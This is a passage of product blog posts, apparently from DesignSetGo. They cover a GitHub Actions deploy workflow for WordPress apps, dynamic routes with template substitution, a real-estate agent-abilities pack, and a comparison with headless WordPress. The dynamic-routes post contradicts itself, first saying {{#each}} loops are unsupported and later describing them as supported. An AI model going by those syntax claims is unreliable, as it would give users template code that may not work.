- Who deployed what, when? “I think Sarah did it Wednesday” is not an audit trail.

- The deploy ran on a developer’s machine, with whatever Node version they happened to have installed and whatever local edits they hadn’t committed yet. Reproducible? Maybe.

- The application password lives on the developer’s laptop. The developer leaves the team and you discover you don’t have a clean revocation story.

- A rollback is “redeploy the previous commit,” which requires the previous commit to still be checked out somewhere, on a laptop that still has credentials.

The GitHub Action is the version that scales. Push to main, the app deploys. Every deploy is a CI-recorded artifact with a logged author, a reproducible build environment, and credentials that live in GitHub Secrets and not on anyone’s laptop.

#### Adding the action to your repo

In your project (the one created by `npx designsetgo apps init`), add `.github/workflows/deploy.yml`:

```
name: Deploy DSGo App

on:
  push:
    branches: [main]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm ci
      - run: npm run build
      - uses: DesignSetGo/deploy-action@v1
        with:
          site: ${{ secrets.DSGO_SITE }}
          username: ${{ secrets.DSGO_USER }}
          app-password: ${{ secrets.DSGO_APP_PASSWORD }}
          bundle: dist
```

That’s the whole shim. The action installs `@designsetgo/cli`, exports the credentials to env vars (`DSGO_SITE`, `DSGO_USER`, `DSGO_APP_PASSWORD`), runs `designsetgo apps deploy <bundle> --json`, and exposes `app-url` and `app-id` as step outputs you can chain into downstream steps (a Slack notify, a PR comment, whatever). The whole workflow runs in under a minute for a typical app.

#### Setting up the secrets

In your GitHub repo’s Settings → Secrets and variables → Actions, add three repository secrets:

- `DSGO_SITE`: `https://yoursite.com`

- `DSGO_USER`: a WordPress username on the site

- `DSGO_APP_PASSWORD`: an application password generated for that user

Application passwords are revocable from `Users → Profile → Application Passwords` in wp-admin. If a developer leaves the team, you revoke the password and rotate it; you don’t have to change the user’s main password, and you don’t have to coordinate with anyone else who might be using the same credential elsewhere.

The app-password input accepts the WordPress-formatted “abcd efgh ijkl …” string with spaces (paste it from wp-admin verbatim). The CLI strips the whitespace before sending.

A small recommendation: create a dedicated WordPress user for deploys (e.g., `deploy-bot`) with the role and capabilities the deploy needs. Don’t use a real human’s account as the deploy identity. The audit trail in your wp-admin’s log (if you have an audit-log plugin) is cleaner when the deploy actor is distinct from the editor actors.

#### Using the action’s outputs

`app-url` and `app-id` come back as step outputs after a successful deploy. Use them in downstream steps:

```
- uses: DesignSetGo/deploy-action@v1
  id: deploy
  with:
    site: ${{ secrets.DSGO_SITE }}
    username: ${{ secrets.DSGO_USER }}
    app-password: ${{ secrets.DSGO_APP_PASSWORD }}
    bundle: dist

- name: Notify Slack
  run: |
    curl -X POST -H 'Content-Type: application/json' \
      --data '{"text":"Deployed ${{ steps.deploy.outputs.app-id }} to ${{ steps.deploy.outputs.app-url }}"}' \
      ${{ secrets.SLACK_WEBHOOK_URL }}
```

#### The agency workflow

This is where the action earns its keep. An agency running 20 client sites with custom DSGo Apps for each:

- One repo per client (or per app, if the client has multiple).

- Each repo’s deploy.yml has the client’s site URL and credentials in secrets.

- Pushes to main deploy automatically.

- Every deploy is logged in the GitHub Actions history; if something goes wrong, you can roll back by reverting the merge commit and pushing main again.

The CLI alternative (“SSH in, run `npx designsetgo apps deploy`”) works for one or two clients. It doesn’t work for twenty. The action removes the human from the deploy step, which means deploys happen consistently, are auditable, and can be triggered by anyone with merge rights to the repo. For an agency, this means a junior developer can ship a hotfix to a client site without escalating, because the merge rights and the deploy capability are the same permission.

To deploy to multiple sites from the same repo, list the action multiple times in the workflow (one block per site) rather than reaching for a fan-out feature the action doesn’t have in v1.

#### What the action does NOT do

A short list of things the action stays out of in v1, with the reasoning:

- **PR previews.** Per-PR slug suffixes plus cleanup-on-close are explicitly deferred to v2. v1 deploys overwrite the production slug, so a PR-triggered deploy would step on the live app — don’t wire the action to PRs unless you also restrict it to a specific branch.

- **OIDC auth.** Would let you skip storing app passwords; requires WP-side trust that isn’t on the roadmap.

- **Multi-site fan-out.** No internal loop. List the action twice (or N times) in the same workflow if you need to deploy to multiple sites.

- **Rollbacks.** `apps deploy` is install-or-update; there’s no `revert` command. To roll back, redeploy the previous commit.

- **Database migrations.** DSGo Apps don’t have their own schema; storage rides on the plugin’s tables. Nothing to migrate.

- **Asset uploads to a CDN.** The bundle is served by WordPress; assets travel with the bundle. If you want CDN distribution, that’s a hosting-level decision (Cloudflare in front of the WP origin, etc.), not a deploy-action concern.

- **Smoke tests after deploy.** The action confirms the deploy succeeded; it doesn’t run a Playwright suite. Add a separate job in the workflow if you want post-deploy verification.

#### Validating before deploying

The action runs `apps deploy` which runs the bundle through `preflightBundle` and inline-preflight before posting to the site. This catches:

- Manifest fields that don’t conform to the v1 schema.

- External origins referenced in the bundle that aren’t declared in `runtime.external_origins`.

- Inline content that fails the sanitizer’s preview pass.

- Missing or malformed `dsgo-app.json`.

Validation failures fail the workflow with a non-zero exit code; the deploy never reaches the site. The validation pass is the same one the plugin runs at install time, so a passing CI run is a high-confidence install.

#### Multi-environment deploys

For agencies running staging and production environments per client, run the action twice with branch filters:

```
jobs:
  deploy-staging:
    if: github.ref == 'refs/heads/develop'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: '20' }
      - run: npm ci && npm run build
      - uses: DesignSetGo/deploy-action@v1
        with:
          site: ${{ secrets.STAGING_SITE }}
          username: ${{ secrets.STAGING_USER }}
          app-password: ${{ secrets.STAGING_APP_PASSWORD }}
          bundle: dist

  deploy-prod:
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: '20' }
      - run: npm ci && npm run build
      - uses: DesignSetGo/deploy-action@v1
        with:
          site: ${{ secrets.PROD_SITE }}
          username: ${{ secrets.PROD_USER }}
          app-password: ${{ secrets.PROD_APP_PASSWORD }}
          bundle: dist
```

Two jobs, one per environment, each gated on a branch. Both build separately (Actions doesn’t share artifacts across jobs by default), but `npm ci && npm run build` finishes in 20-30 seconds for a typical project so it’s not worth a separate cache job.

#### Where to go next

- The [Claude Code tutorial](https://designsetgo.dev/blog/build-a-wordpress-app-with-claude-code/) for the manual CLI deploy that the action automates.

- The next post: white-labeling DSGo for agency clients.

- The GitHub Action lives at the `DesignSetGo/deploy-action` repo on GitHub when it ships; pin to `@v1` to inherit patch and minor updates automatically.

### Dynamic routes: one HTML file, every post on your site

URL: https://designsetgo.dev/blog/dynamic-routes-deep-dive/
Published: 2026-05-09 · Nealey

The Astro-on-WordPress post and the pricing-page tutorial both touched briefly on dynamic routes. This post is the deeper look. Dynamic routes are the difference between “I have to redeploy every time someone publishes a post” and “the WordPress site is the source of truth and the bundle is the template.”

This is the post developers reach for after their second or third DSGo App, when they want to do something more interesting than render a single page. It’s also the post where the difference between DSGo and a static-site generator stops being a question of taste and starts being a question of capability: dynamic routes are the thing static-site generators can fake but can’t really do.

#### What dynamic routes do

In a static-bundle world, every URL needs a corresponding file. A site with 500 blog posts needs 500 HTML files, one per post. The build pipeline has to render all 500 every time anything changes. The bundle gets large; the deploy gets slow; the build pipeline gets fragile. Astro’s content collections, Next.js’s `getStaticProps`, Jekyll’s collections: every static-site generator deals with this by rebuilding the world on change.

Dynamic routes change the model. You ship one template. The plugin substitutes data into the template at request time, based on a manifest declaration that says “this template is parameterized by something.” When the visitor hits `/apps/site/posts/hello-world/`, the plugin:

- Sees the route pattern matches `/posts/:slug`.

- Looks up the post with slug `hello-world` in the WordPress database.

- Renders the template with the post’s data substituted in.

- Returns the rendered HTML.

One template, every post. The bundle stays small. The build pipeline doesn’t need to know about the post catalog. The crawler sees real HTML. Marketing publishes a post; the URL exists three seconds later.

#### The manifest

```
{
  "routes": [
    { "path": "/", "file": "index.html", "title": "Home" },
    {
      "path": "/posts/:slug",
      "file": "post/index.html",
      "dataset": {
        "source": "wp:posts",
        "id_field": "slug"
      }
    }
  ]
}
```

The `dataset` field is what activates dynamic routing on a route. `source` is which WP data the plugin queries; `id_field` is which field the URL parameter (`:slug`) maps to.

A route without `dataset` is a static route; the file is served as-is from the bundle. A route with `dataset` is dynamic; the file is treated as a template, and the plugin substitutes the matching dataset entry’s fields into it before serving.

#### Built-in dataset sources

Four sources ship in v1:

- **`wp:posts`.** Posts (the default `post` post type). `id_field` can be `slug` or `id`. Returns the same shape as `/wp/v2/posts`.

- **`wp:pages`.** Pages. Same options.

- **`wp:cpt:<slug>`.** Any custom post type. `wp:cpt:event` for an `event` CPT, `wp:cpt:property` for a `property` CPT, etc. The CPT must be registered with `show_in_rest: true` for the dataset source to see it.

- **`wc:products`.** WooCommerce products. The bridge resolves through Woo’s REST or Abilities surface.

Each source produces a structured object the template can interpolate. For `wp:posts`, the available fields are roughly what `dsgo.posts.get()` would return: `title`, `excerpt`, `content`, `date`, `author`, plus all custom-field metadata. The full shape is documented per source in the bridge reference.

#### Template substitution

Two ways to bring the data into the template.

**Server-side substitution** (the simpler path):

```
<article>
  <h1>{{title.rendered}}</h1>
  <time>{{date_iso}}</time>
  <div class="content">{{{content.rendered}}}</div>
</article>
```

The plugin parses the template, finds `{{...}}` tokens, and substitutes the matching field from the dataset. The output is real HTML at the URL. The crawler sees title, date, and full content without running any JavaScript. SEO works without ceremony.

A few things to know about substitution:

- **Two brace counts, two behaviors.** `{{field}}` is HTML-escaped (`<` becomes `&lt;`). `{{{field}}}` is raw — the value is inserted as-is, with the inline-mode sanitizer running afterward to strip disallowed tags/attributes. Use `{{{...}}}` for fields that legitimately contain HTML (like `content.rendered`); use `{{...}}` for plain text fields where you’d want any markup escaped.

- **Dot notation walks nested fields.** Live `wp:*` rows expose `title.rendered`, `content.rendered`, `excerpt.rendered`, `permalink`, `slug`, `id`, `date_iso`, `featured_media_url`, etc. (Full list in the manifest reference.) The substitution path is dot-separated and matches `[a-zA-Z_][a-zA-Z0-9_]*(\.[a-zA-Z_][a-zA-Z0-9_]*)*`.

- **`<script>` and `<style>` blocks are skipped.** Substitution does not run inside script or style content; apps that need dataset values in client-side JS read them from `dsgo.context.routeParams` (or fetch them via the bridge).

- **Missing fields render as empty strings.** Not as the literal `{{...}}`. Defensive of malformed datasets.

**Client-side bridge calls** (the more powerful path):

```
<article>
  <h1 id="title"></h1>
  <time id="date"></time>
  <div id="content"></div>
</article>

<script type="module">
  import { dsgo } from '@designsetgo/app-client';
  await dsgo.ready;
  const { slug } = dsgo.context.routeParams;
  const { items } = await dsgo.posts.list({ slug, per_page: 1 });
  const post = items[0];

  document.getElementById('title').textContent = post.title;
  document.getElementById('date').textContent = new Date(post.date).toLocaleDateString();
  document.getElementById('content').innerHTML = post.content;
</script>
```

`dsgo.context.routeParams` is a property (not a method), and the bridge’s posts shape flattens `title.rendered` to `title` for app code. (Server-side dataset substitution keeps the REST envelope; bridge calls don’t.)

This route doesn’t use server-side substitution at all; the manifest’s `dataset` declaration just lets the plugin know what URL patterns to honor. The bridge call at view time fetches the data and renders it.

The hybrid: use server-side substitution for SEO-critical fields (`<title>`, the meta description, the headline `<h1>`) and bridge calls for everything else. The crawler gets the page-level signals; the visitor gets the dynamic content.

#### What v1 doesn’t do: server-side loops

Worth being explicit: the substitution engine in v1 supports `{{field}}` (HTML-escaped) and `{{{field}}}` (raw) plus dot-path navigation like `{{title.rendered}}`. There’s no `{{#each}}` or `{{#if}}` syntax. Dynamic routes produce one rendered page per URL keyed by the path’s `:param`; there’s no built-in “render this template with the whole dataset injected as an array” mode.

If you want an index page that lists every post, you write it client-side: a static `posts.html` route with a `<script>` that calls `dsgo.posts.list()` and builds the list in the DOM. The route file itself stays simple, the page loads instantly, and the list fills in once the bridge resolves. Crawlers that execute JS (Google’s main bot does) still index the resulting page; if your audience includes crawlers that don’t, paginate the list server-side by giving each page-worth of items its own route and dataset.

The constraint is deliberate — Mustache subsets with loops grow fast, and the team would rather you reach for the bridge for list-shaped UI than maintain a templating dialect.

#### Custom dataset resolvers

The four built-in sources cover most cases. For everything else, register a custom resolver via WP filter:

```
add_filter('dsgo_apps_dataset_resolver', function ($resolvers) {
  $resolvers['my-app:reviews'] = function ($id, $context) {
    // Look up the review by ID from wherever (custom table, third-party API,
    // computed from other WP data).
    return [
      'title' => 'Review of ' . $id,
      'rating' => 5,
      'body'  => 'This is great.',
      // …
    ];
  };
  return $resolvers;
});
```

In your manifest:

```
{
  "path": "/reviews/:product",
  "file": "review/index.html",
  "dataset": { "source": "my-app:reviews", "id_field": "product" }
}
```

When the visitor hits `/reviews/dishwasher`, the plugin calls your resolver with `id = "dishwasher"` and uses the returned array for substitutions. The resolver can query a custom database table, hit a third-party API (within the manifest’s allowlisted origins), or compose data from multiple WP sources.

This is the integration seam for “the site has a custom data source we want to expose at routes.” Booking systems, custom directories, internal tools, anything where the data isn’t quite a WP post type but acts like one. Resolvers compose: you can register multiple, and the manifest’s `source` field picks which one to invoke per route.

#### Where this is the right call

A short table of when dynamic routes are worth using vs alternatives:

Use caseBest approachMarketing site with 5 hand-written pagesStatic routes; no datasetBlog with hundreds of postsDynamic route, `wp:posts`, server-side substitutionDocumentation site backed by a CPTDynamic route, `wp:cpt:doc`Event listing site with an `event` CPTDynamic route, `wp:cpt:event`, list route for the indexProduct catalog with WooCommerceDynamic route, `wc:products`Custom directory with a third-party APIDynamic route, custom resolverReal-time data (stock prices, weather)Bridge call only; no dataset substitution

The rule of thumb: if the data is in WordPress (or WooCommerce, or a custom store), use dataset substitution. If the data is real-time and external, use bridge calls. The two approaches compose; you can have both in the same template.

#### What dynamic routes are NOT for

A few things people sometimes try that are out of scope:

- **Authenticated content.** The dataset substitution happens server-side at the page level and doesn’t run capability checks; if you need different content for different users, do that with a bridge call after the page loads, not with substitution. Server-side substitution is for content where the user identity doesn’t change what’s rendered.

- **Computed routes that aren’t keyed by a slug or ID.** The route param has to map to a single dataset entry. If you want “all events in March,” that’s a list route with a query parameter (`/events/?month=march`), not a dynamic route per month.

- **Complex template logic.** The substitution syntax is `{{field}}`, dot notation, and `{{#each}}`. There’s no `{{#if x > 5}}`. If the template needs branching, do it client-side with JavaScript on the rendered page.

#### Performance notes

A few performance details that show up at scale:

- **Server-side substitution is fast.** The plugin caches the parsed template per route; the substitution itself is string replacement plus a tiny tokenizer. A typical request adds a few milliseconds to the WP page response time.

- **Dataset queries hit the same caches WP uses.** A `wp:posts` query goes through the same object cache and database as the rest of WordPress. If your site is doing well on cache hits already, dataset routes do too.

- **List routes can be heavy.** Rendering 100 items in a `{{#each}}` is fine; rendering 10,000 is not. Use pagination or split into multiple lists. The substitution engine doesn’t stream; it builds the response in memory.

- **Custom resolvers are as fast as you make them.** A resolver that queries a slow third-party API on every request will be slow. Wrap with `wp_cache_*` or transients for repeat queries.

#### Where to go next

- The [Astro on WordPress post](https://designsetgo.dev/blog/astro-on-wordpress/) for the integration with Astro’s content collections.

- The [pricing-page tutorial](https://designsetgo.dev/blog/build-a-pricing-page/) for a concrete dataset-injection example.

- The dynamic routes design spec for the design rationale.

### Apps as Abilities deep dive: building a real-estate vertical pack

URL: https://designsetgo.dev/blog/apps-as-abilities-vertical-pack/
Published: 2026-05-09 · Nealey

The earlier [Apps as Abilities post](https://designsetgo.dev/blog/apps-as-abilities/) explained the mechanism: a DSGo App’s manifest can declare `abilities.publishes`, the plugin registers each ability with WordPress’s Abilities API, and the site’s AI agent can invoke them.

This post is the worked example I should have written earlier. A real-estate vertical pack: ten DSGo Apps, each one publishing two to three abilities, all installable as one bundle. Together they turn a generic WordPress site into a real-estate-aware assistant. The AI agent in wp-admin can answer “what listings are over a million dollars in this neighborhood” or “calculate the mortgage on this property at 6.5% for 30 years” or “draft a follow-up to the lead who toured the Kensington property” without the operator knowing which app did which.

This is the second moat I keep talking about. Here’s what it looks like in practice.

#### The pack

Ten apps, each focused on a single real-estate concept:

AppAbilities published`listings-search``listings/search`, `listings/get-detail``mortgage-calculator``mortgage/calculate-payment`, `mortgage/amortization-schedule``area-stats``area/median-price`, `area/days-on-market`, `area/sales-trend``school-data``area/school-ratings`, `area/school-distance``commute-calculator``area/commute-time`, `area/commute-modes``lead-tracker``leads/list`, `leads/get-context`, `leads/log-interaction``tour-scheduler``tours/list-availability`, `tours/book``comp-analyzer``comps/find-similar`, `comps/price-suggestion``email-templates``email/render-followup`, `email/render-listing-blast``disclosure-checker``disclosure/check-required`, `disclosure/list-jurisdictions`
Each app is small (a few hundred lines of HTML/JS each). Each one publishes two or three abilities. None of them are visible as URLs the user navigates to; they’re all hidden-iframe ability publishers. The agency installs one bundle; ten apps register quietly; twenty-six abilities show up in the site’s Abilities registry.

Twenty-six abilities, ten apps, one install. A ZIP bundle the agency drops into the site. The agent on the site now knows real-estate.

#### What the agent does with this

Imagine a real-estate agency’s site agent (running in wp-admin) gets prompts from the operator like:

> *Operator:* I have a buyer interested in 3-bedroom homes under $850K in the 78704 zip code. Show me the recent listings, what comparable homes have sold for, and the median days on market.

The agent (without the pack installed) would respond with a generic “I don’t have access to listing data on this site.” With the pack installed, the agent’s ability list now includes `listings/search`, `comps/find-similar`, and `area/days-on-market`. The agent reasons:

- “I should call `listings/search` with `bedrooms: 3, max_price: 850000, zip: 78704`.”

- “Then `comps/find-similar` for each result, to know what they could be priced at.”

- “Then `area/days-on-market` for that zip to understand the market context.”

The agent runs all three. Each ability invocation mounts the corresponding app’s hidden iframe handler. Each handler returns structured JSON. The agent composes the response: a table of listings with their prices, comparable sales, and the area’s days-on-market trend.

The operator didn’t tell the agent which apps to use. The agent picked them based on the ability descriptions, the input/output schemas, and the prompt’s intent. Each app worked in isolation. The composition was the agent’s job. The operator’s experience is that they asked a question and got a structured, useful answer; the apps are invisible to them.

#### What makes the pack work

A few patterns the pack relies on, explicitly:

**Namespaced ability names.** Every ability in the pack starts with `listings/`, `mortgage/`, `area/`, `leads/`, etc. The agent picks tools by name, and the namespace makes the intent obvious. `listings/search` is for searching listings; the model never confuses it with `comps/find-similar` (which finds comparable sales of past sold properties). Without the namespace, the agent would have to disambiguate from descriptions alone, which works less reliably.

**Specific input/output schemas.** Each ability declares a typed input schema and a typed output schema. The agent reads these to figure out what it can pass and what it gets back. Vague schemas produce sloppy compositions; specific schemas produce reliable ones. A `listings/search` schema with `bedrooms: integer, max_price: number, zip: string, status: enum[active,pending]` is the kind of schema the agent can use confidently. A schema with `query: string, options: object` is the kind that produces “agent passed nonsense and got nonsense back” failures.

**Read-only by default.** Most of the abilities in the pack have `readonly: true` annotations. The agent knows it can call them freely without risk of side effects. The handful that aren’t (`leads/log-interaction`, `tours/book`) are explicitly marked `destructive: true`, which signals to the agent that it should confirm before invoking. This is the difference between an agent that calls fifty tools in sequence to answer a question (fine, all read-only) and one that books fifty tours by accident (catastrophe, all destructive).

**Idempotent where possible.** `mortgage/calculate-payment` is idempotent: same inputs, same output, no state change. The agent can call it ten times without consequence, which means it can use it in tool-call chains without bookkeeping. Mark idempotent abilities as such; the agent’s planning improves when it can rely on the marker.

**Each app handles one thing.** No app publishes seven abilities; the upper bound (eight) exists but the pack stays under it. Apps that try to do too much get unwieldy; apps that do one thing well are easy for the agent to reason about, easy to update independently, and easy to deprecate if needed. The pack’s ten-apps split is deliberate; it could have been five apps with five abilities each, but the smaller apps version is more maintainable.

#### What the operator buys

This is the real-estate-agency value prop:

- **A general-purpose AI agent** that knows their data, their domain, and their tools.

- **No bespoke agent integration work.** The agency installed the pack. The agent picked it up. There was no engineering project to “teach the agent about our business.”

- **A low-cost moat over generic agencies.** A competing real-estate site running the default WP AI surface gets a generic agent. This agency’s agent answers questions theirs can’t. Over time, that compounds into “everyone in the office prefers our internal tools to the public ones,” which is the kind of subtle advantage that doesn’t show up in a sales deck but shows up in retention.

- **Composability with other plugins.** Yoast’s SEO abilities are still available. WooCommerce’s commerce abilities (if Woo is installed) are still available. The pack adds, doesn’t replace.

The vertical-pack model means an agency can pay for one bundle that does ten things, instead of paying for ten separate plugins. The bundle is one install, one update, one trust decision in the install dialog (the dialog lists all the published abilities in one place under a “this pack publishes 26 abilities” expandable group).

#### What the developer buys (if they make the pack)

This is the developer-of-the-pack value prop:

- **A clean unit of distribution.** A pack is a collection of DSGo Apps in one bundle. The developer writes ten small apps; the user installs one ZIP.

- **Separately versionable apps.** The developer can update `mortgage-calculator` without touching `listings-search`. Each app’s version is independent. The pack version is a meta-version that pins specific app versions for consistency.

- **A runtime that handles the agent integration.** The developer doesn’t write any agent-integration code. They write each app’s logic, declare the ability in the manifest, and the rest is the runtime’s problem.

- **A revenue path.** Sell the pack to real-estate agencies as a subscription. Sell different packs (legal-services, fitness-studios, restaurants, art galleries) to other verticals. The runtime is the same; the registry of patterns and the abilities are what each pack contributes.

The vertical-pack model is, structurally, an app store on top of WordPress. Different from the existing plugin directory because the unit of distribution is “abilities the agent can use,” not “settings panels and shortcodes.” The agency’s agent gets smarter with each pack installed; the marketplace gets denser with each pack published.

#### What’s hard about this

Honest list of where the model breaks down or has rough edges:

**Browser-context-only execution.** Published abilities run in hidden iframes, which means they only resolve when there’s an active browser session. Server-side callers (WP-CLI, cron, PHP-context invocations) get a structured `client_only_ability` error. v2 might change this; v1 doesn’t. For most agency use cases the agent runs in the browser anyway, but if you wanted to schedule an “every morning, summarize yesterday’s leads” cron, that abilities call would fail in v1.

**Iframe startup cost is real.** When the agent calls many different abilities in quick succession, the publisher mounts the corresponding hidden iframes. There’s a startup cost per mount: the iframe has to load the bundle, run its startup script, and register its `implement()` handlers. The publisher caches recently mounted iframes so back-to-back calls to the same app are cheap, but switching across many apps in one agent turn adds up. For most use cases this is invisible; for high-volume agent workflows it’s a real budget item worth watching.

**Schemas are easy to write badly.** A vague description, a non-required field that should have been required, an output schema that doesn’t actually match what the handler returns: any of these produce agent compositions that fail mid-flight. Writing good schemas is a skill we underpay attention to in our docs. If your pack’s abilities are flaky in agent use, the first place to look is your schemas.

**Eight publishes per app, max.** Forces some packs to split into more apps than they otherwise would. This is a deliberate cap to keep individual apps focused, but it can feel arbitrary at the boundary. The pack above respects it by design; some natural decompositions don’t.

**The agent’s tool selection is probabilistic.** With 26 abilities in the pack, the agent might pick the wrong one occasionally. A `mortgage/calculate-payment` abilities call when the operator asked about `mortgage/amortization-schedule` is structurally an agent error, not a pack error, but it shows up to the operator as “the pack didn’t work.” The fix is on the model side; the agent’s tool selection is getting more reliable with each frontier-model release, but it isn’t deterministic.

#### Where this goes

The vertical-pack model is, in my opinion, the second-most underrated thing about DSGo Apps after the WP 7.0 architecture itself. The first one is straightforward to explain in a tweet. This one takes a deeper walk through the use case before the value lands.

I expect the pack model to be where the most interesting third-party DSGo work happens over the next year. People building real-estate packs, legal-document packs, recipe-site packs, ecommerce-recovery packs, agent-onboarding packs. The runtime is the same for all of them; the registries are different. The first vertical-specific pack from an outside developer that we feature will be a big moment for the platform, because it’ll demonstrate that the pack model isn’t just our internal vision.

If you build a pack and ship it, tell me. I want to feature good ones. The bar isn’t “polished marketing site”; the bar is “this pack genuinely makes the site’s agent smarter for a specific vertical.” If you’ve cleared that bar, I want to hear about it.

#### Where to go next

- The [original Apps as Abilities post](https://designsetgo.dev/blog/apps-as-abilities/) for the architectural primer.

- The [AI content companion tutorial](https://designsetgo.dev/blog/build-an-ai-content-companion/) for a concrete single-app example of publish-side abilities.

- The [Bridge API reference](https://designsetgo.dev/docs/bridge-api) for the full `abilities.implement` surface.

Nealey

### DesignSetGo vs headless WordPress

URL: https://designsetgo.dev/blog/dsgo-vs-headless-wordpress/
Published: 2026-05-07 · Nealey

Headless WordPress has been the recommended architecture for fancy WP front-ends for about five years. Build the front-end in Next.js or Astro or Nuxt; talk to WordPress through REST or GraphQL; deploy each side independently; rejoice in the modern developer experience.

In practice, the engineering work that actually matters in a headless build (modeling content, designing the visual system, writing the templates) is a fraction of the total time. The rest is the headless tax: the auth bridge, the CORS configuration, the build cache, the preview environment, the third-party-cookie issues that break embedded video, the moment marketing asks why a publish took 15 minutes to show up. None of those problems are fundamental. All of them are rituals teams do because the architecture has put a wall between the two halves of the same product.

DesignSetGo Apps points at a different shape of answer. This post is the comparison. Headless wins on some axes; DSGo wins on others. The honest version of when each one is right is, I think, more in DSGo’s favor than the prevailing recommendation suggests, but you should pick based on your actual constraints, not on which one I prefer.

#### The headless diagram

A typical headless setup, at the architectural-diagram level:

- WordPress lives on its own host, serving the admin UI plus a REST or GraphQL endpoint.

- The front-end (Next.js, Astro, Nuxt) lives on a separate host (Vercel, Netlify, Cloudflare Pages).

- The front-end fetches content from WordPress at build time (for static pages) or at request time (for dynamic ones).

- A reverse proxy or DNS routing makes the two look like one origin to the visitor.

- Auth, if any, is mediated through tokens passed between the two halves.

Each piece of that diagram has a real cost.

**Two hosts.** Two bills, two deploy pipelines, two sets of secrets, two monitoring dashboards. If something breaks, you debug across both. When the team is one or two people, this is one or two people’s worth of mental overhead just keeping the lights on.

**The CORS conversation.** The front-end is on a different origin than the API, except when it’s behind the reverse proxy, except for the CDN edge cache, except for the authenticated requests, except for the preview routes. There’s a meeting where someone explains the CORS configuration. The meeting takes an hour. Three months later, someone changes a header and the configuration silently breaks for one type of request that nobody tests until the marketing director’s preview link doesn’t work.

**The auth seam.** The visitor is logged into WordPress, except the front-end doesn’t know that, because the cookie is on the WordPress origin and the front-end is on a different origin, so you implement an auth bridge: the front-end calls a WP endpoint with credentials, gets a token, stores it, includes it in subsequent calls, refreshes it on expiry. Each one of those steps has failure modes. Each one is something the team had to build instead of building product.

**The cache invalidation conversation.** The marketing team publishes a new post. The front-end’s static-build pipeline runs, but only on a schedule, so the post takes 15 minutes to appear. You add a webhook that forces a rebuild on publish. The webhook fires, but only on certain post types. You add another rule. The rules accumulate. Every rebuild takes four minutes. Marketing complains the site is slow to publish. Someone proposes ISR. The complexity goes up.

**The development environment.** Each front-end developer needs a way to run WordPress locally so they can test against real data. Each front-end developer reinvents the docker-compose file. The data drift between local and prod is a constant low hum of bugs.

None of these are fundamental. All of them are rituals you do because the architecture has put a wall between the two halves of the same product.

#### What DSGo does instead

DSGo Apps puts the front-end *inside* WordPress. The Astro bundle (or Next.js export, or hand-written HTML) is served by WordPress as a static asset under the existing hosting plan. The bridge is a same-window `postMessage` call; there’s no network hop. Auth is whatever the visitor already has with WordPress. The deploy is one command.

The diagram is one box.

- WordPress lives on its host.

- The DSGo App is a static bundle inside WordPress.

- The bundle calls the bridge for WordPress data.

- The visitor sees one origin, one site, one auth, one experience.

The headless rituals don’t exist because the architectural assumption that produced them isn’t there. There is no second host. There is no CORS conversation. There is no auth bridge. There is no separate deploy pipeline. There is no cache-invalidation rule list. The moments where headless’s complexity earns you something (independent scaling, framework freedom, edge TTFB) become the moments where DSGo’s simplicity costs you something. Same trade, opposite directions.

#### What you give up

I want to be honest about this. There are things headless gets you that DSGo doesn’t.

**Independent scaling.** A headless front-end can run on Cloudflare’s edge while WordPress runs on a single $20/month box. With DSGo, the front-end’s traffic shape is whatever WordPress’s hosting can serve. For most sites this is fine. For sites doing >10M pageviews/month, headless’s edge scaling story matters and DSGo’s “WordPress hosts everything” model has a ceiling.

**Framework freedom.** Headless lets you pick any framework. DSGo runs static bundles inside its iframe (or inline) runtime. Most modern frameworks compile to static bundles, so this is mostly a non-issue, but if you specifically want server-side rendering with framework features (Next.js dynamic routes with per-request props, SvelteKit’s load functions), you have to compile those down to static or accept that some parts won’t run.

**Build-time vs request-time data.** Headless’s static-build model lets you generate every page ahead of time, which is great for SEO and TTFB. DSGo’s bridge runs in the browser, so dynamic data fills in at view time. For SEO purposes, you’d want page-level signals (`<title>`, `<meta>`, headline `<h1>`) in the static markup, with the dynamic bridge data filling in after. The plugin’s dataset-injection feature gets some of the way there (substitutes `{{title}}` etc. into templates server-side), but it’s not the same as a full Astro Content Collections build. For sites where every page must be fully static, headless wins.

**Multi-region origin.** A headless front-end on Cloudflare or Vercel runs in 200+ regions. WordPress runs in one (unless you’ve gone to extraordinary lengths with multisite, replication, and DNS). The TTFB difference is real for global audiences. If 30% of your traffic is in Europe and your WordPress is in us-east-1, headless’s edge gives you a meaningful improvement that DSGo cannot.

The honest summary: headless wins on scale, framework power, and global TTFB. DSGo wins on simplicity, cost, time-to-ship, auth integration, and editor familiarity.

#### Where each one is the right call

**Reach for headless when:**

- You’re at scale where edge TTFB matters more than developer time. (If you don’t know whether you’re at this scale, you aren’t.)

- The front-end is a small subset of your overall product, and decoupling helps with internal team boundaries.

- You have a dedicated front-end team that genuinely wants to live in the modern JS world, and the team’s productivity actually improves with a separate stack.

- The site doesn’t need WordPress’s auth, comments, search, or other Core features (you’re using WP only as a CMS).

- You expect to migrate off WordPress eventually and want the front-end portable.

**Reach for DSGo when:**

- The site is small to medium scale, served from one origin, where the boring thing is the right thing.

- You want WordPress’s whole feature surface (auth, plugins, editor familiarity, sitemaps, comments, the works) to “just work” without building bridges to it.

- The team is one to three people and the cost of a glue layer dwarfs its benefit.

- The front-end is the front-end of a WordPress site, not a side project.

- The editor needs to keep using wp-admin (which, for most marketing-owned sites, is non-negotiable).

- You’d rather have one deploy and one bill.

For my own work, the DSGo path covers ~80% of what I want a “fancy WordPress front-end” to do, at a fraction of the engineering cost. Headless covers the remaining 20%, but the cost gap is large enough that I default to DSGo and reach for headless only when there’s a specific reason.

For client work, the gap widens. Most clients ask for “a fast modern front-end” without understanding what they’re trading. Headless looks better in the demo and worse on the second-year invoice. DSGo looks underwhelming in the demo (it’s just a WordPress site) and better on the second-year invoice. If you can sell the client on the second-year argument, DSGo wins; if you can’t, the client picks headless and you both relearn the lesson together.

#### The retrospective most teams have

